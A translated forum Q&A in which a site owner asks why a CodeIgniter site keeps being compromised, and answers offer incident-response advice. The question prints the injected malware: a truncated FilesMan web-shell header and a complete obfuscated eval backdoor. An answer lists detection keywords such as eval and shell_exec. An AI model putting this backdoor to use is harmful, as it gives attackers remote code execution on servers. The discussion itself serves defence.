12

ハッキングされ続ける codeigniter 2.0.2 プロジェクトがあります。主な問題は 2 つあります。

  • index.phpファイルの先頭に悪意のあるコードが追加されている
  • 不正なファイルがサーバーに追加される

ホストによると、これらのファイルがアップロードされたことを示す FTP ログはありません。

  1. 不正なファイルに関連する FTP アップロード ログがないため、連絡先やアップロード フォームなどのサイト自体を介したエクスプロイトである必要がありますか?

  2. サイトは共有ホスティング上にあります - 同じサーバー上のサイトであるコードもハッキングされており、これが問題の原因ですか?

  3. index.php のファイル名を別のものに変更すると、助けになりますか?

  4. が変更されているのでindex.php、644 に CHMOD する必要がありますか?

  5. codeigniter プロジェクトに対して推奨される権限を探していましたが、まだ入手していません。アップロード/ログ ディレクトリ (777) を除いて、サイト全体で 644 を考えていましたが、これでよろしいでしょうか?

index.phpファイルの先頭に挿入されたコード:

<?php if(isset($_GET["t6371n"])){ $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-

その後、エンコードされた長い文字列を含む長い preg_replace ステートメントが続きます。この後に 2 番目のステートメントが続きます。

if(isset($_GET["w6914t"])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);}

お問い合わせフォームと、ユーザーが CKFinder 2.0.1 を使用してアイテムをアップロードできるフォームがあります。これを更新して、それが解決するかどうかを確認します。

4

4 に答える 4

11

あなたができることがいくつかあります:

  • ログファイルをチェックして、変な名前やなじみのない名前のファイルへの POST リクエストがないか確認してください。たとえば、.cache_123.phpこれらはバックドア スクリプト、特にドットで始まるファイル名である可能性があり、(通常の) ファイルシステムから隠蔽されている可能性があります。
  • 完全なライブ サイトをダウンロードし、、、、、、、、、などbase64_decodeのサイト全体の検索execpreg_replace行います。passthrusystemshell_execevalFilesMan
  • ウイルス対策ソフトウェア (AVG、Avast など) を実行して、(ライブでダウンロードした) サイト全体をチェックします。
  • Chmod アップロード ディレクトリ 可能であれば 777 ではなく 775
于 2012-09-04T13:18:44.847 に答える
0

コード監査を実行して、コアの脆弱性がどこにあるかを見つける必要があると思います。なんらかの整合性チェックを実行しない限り、攻撃者が他のファイルにバックドアを配置したかどうかを確認することはできません。

簡単な修正として、可能であれば ModSecurity Apache モジュールをインストールすることをお勧めします。次に、コード内でファイル インジェクションが発生する可能性がある場所を探します (通常はファイル アップロード関数)。

于 2012-09-05T02:43:36.053 に答える
0

FTPサーバーよりもPHPアプリを介してハッキングする方がはるかに簡単だと思います. アップロードフォームはありますか? VPS を使用できない場合は、ホストに別の共有サーバーに移動するよう依頼してみてください。

于 2012-09-04T13:12:29.107 に答える